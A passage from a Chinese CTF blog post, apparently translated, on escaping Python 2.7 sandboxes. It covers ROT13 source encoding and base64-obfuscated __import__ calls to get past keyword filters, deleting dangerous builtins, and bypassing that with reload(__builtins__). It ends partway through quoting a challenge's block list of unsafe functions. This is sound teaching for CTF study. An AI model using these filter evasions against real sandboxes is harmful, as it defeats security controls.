作为一个CTF爱好者,又是一个Bin选手,在国外各种受虐的同时,总是能学到不少的东西。最近,和师傅们在做国外的CTF题,做到一种Pwn题目,是需要选手在Python的沙箱达到逃逸的目的,获取flag。在谷歌的过程中,找到了一篇不错的博文。
正文
注意:这是为Python 2.7.3编写的。这些细节可能在其他版本的Python - 特别是Python3 - 有所不同!
尝试逃离沙箱总是一个有趣的挑战。Python沙箱也不例外。在静态语言中,这通常通过分析代码来查看是否调用某些函数,或者用确认验证的代码包装危险函数来完成。然而,这在动态语言(如Python)中有点更具挑战性。
沙盒的一个简单方法是扫描脚本的内容,以查找危险的特定关键字或函数,例如eval,exec,execfile和import。这可以很容易地通过编码我们的脚本来侧面攻击。PEP-0263,这里有更加详细的介绍。
但只要你有# coding:脚本的前两行之一,Python解释器将解释这个编码的整个脚本
# coding: rot_13
# "import evil_module" encoded in ROT13
'vzcbeg rivy_zbqhyr'
显然,我们需要一种更好的思路来进行逃逸。但是这之前,我们需要了解一些背景知识。
背景知识
我们知道,dir可以作为我们检Python对象的第一个工具。引用docs:“Without arguments, return the list of names in the current local scope. With an argument, attempt to return a list of valid attributes for that object.”,就是说,“ 没有参数,返回当前本地作用域中的名称列表。使用参数,尝试返回该对象的有效属性的列表。“
它并不声称是完整的,一个类可以定义一个__dir__方法,但现在我们可以假设它是正确的。
我经常使用的第二个函数是type(),简单来说,传入一个参数,它将会返回对象的类型。一旦知道一个对象的存在,使用type()你将会更充分的理解它。再次,引用文档:“ 返回对象的类型。返回值是一个类型对象。“。
那么开始我们接下来的试验。
当执行开始时,以下对象在本地作用域中(yay dir()!):
>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']
从这些,__builtins__是最有趣。
>>> type(__builtins__)
嗯,让我们看看Python语言参考: “一个模块对象有一个由字典对象实现的命名空间...属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict["x"]”
现在,我们可以通过运行dir(__ builtins__)来检查内置函数。这个列表有点长。条目是所有内置类型和函数。
所以现在让我们重温前面的沙盒测试的字符串检查方法。也许你没有能力改变整个文件的编码。您仍然可以通过访问模块的底层dict,然后使用变量访问所需的函数来对单个函数调用的名称进行编码。所以让我们import os使用内置函数稍微狡猾的方式调用import:首先获取base64版本的字符串"import"和"os":
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
把它放在一起:
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))
嗯,所以使用文本过滤到沙盒代码很明显。
也许我们可以采取另一种方法在过滤,基于使用builtins.dict。因为builtins.dict是一个代表我们的环境可用的所有内置函数的字典,如果我们修改其中一个条目,我们可以改变环境的可用内容。
例如,abs函数返回数字的绝对值:
>>> abs(-1)
尝试攻击
现在,让我们做更多的操作
>>> __builtins__.__dict__['abs'] = None
>>> abs(-1)
Traceback (most recent call last):
File "", line 1, in
TypeError: 'NoneType' object is not callable
该del语句删除一个对象的引用:
>>> del __builtins__.__dict__['abs']
>>> abs(-1)
Traceback (most recent call last):
File "", line 1, in
NameError: name 'abs' is not defined
我们刚刚删除了环境调用的能力abs!所以现在我们有另一种方法来处理Python沙盒 - 删除许多“危险”内置函数。
让我们做一个小的危险函数列表:
>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
嗯,这看起来有点安全,对吧?
>>> import os
Traceback (most recent call last):
File "", line 1, in
ImportError: __import__ not found
等一下!
reload(module) 重新加载导入的模块,并执行代码 - 所以模块被导回到我们的命名空间。
>>> reload(__builtins__)
>>> import os
>>> dir(os)
我想我们必须将其添加到列表中。
>>> del __builtins__.__dict__['reload'] # they might reload __builtins__ !
好。所以现在我们有一个安全的方法,对吧?我们阻止了沙箱中的任何人使用危险的内置命令,并且我们可以通过不允许他们对整个文件进行编码和扫描内容来阻止他们使用eval关键字。希望我们删除所有危险的内置函数。,
让我们重温一下2012.hack.lu的比赛题目,在这次挑战中,你需要读取'./key'文件的内容。
他们首先通过删除引用来销毁打开文件的内置函数。然后它们允许您执行用户输入。看看他们的代码稍微修改的版本:
def make_secure():
UNSAFE = ['open',
'file',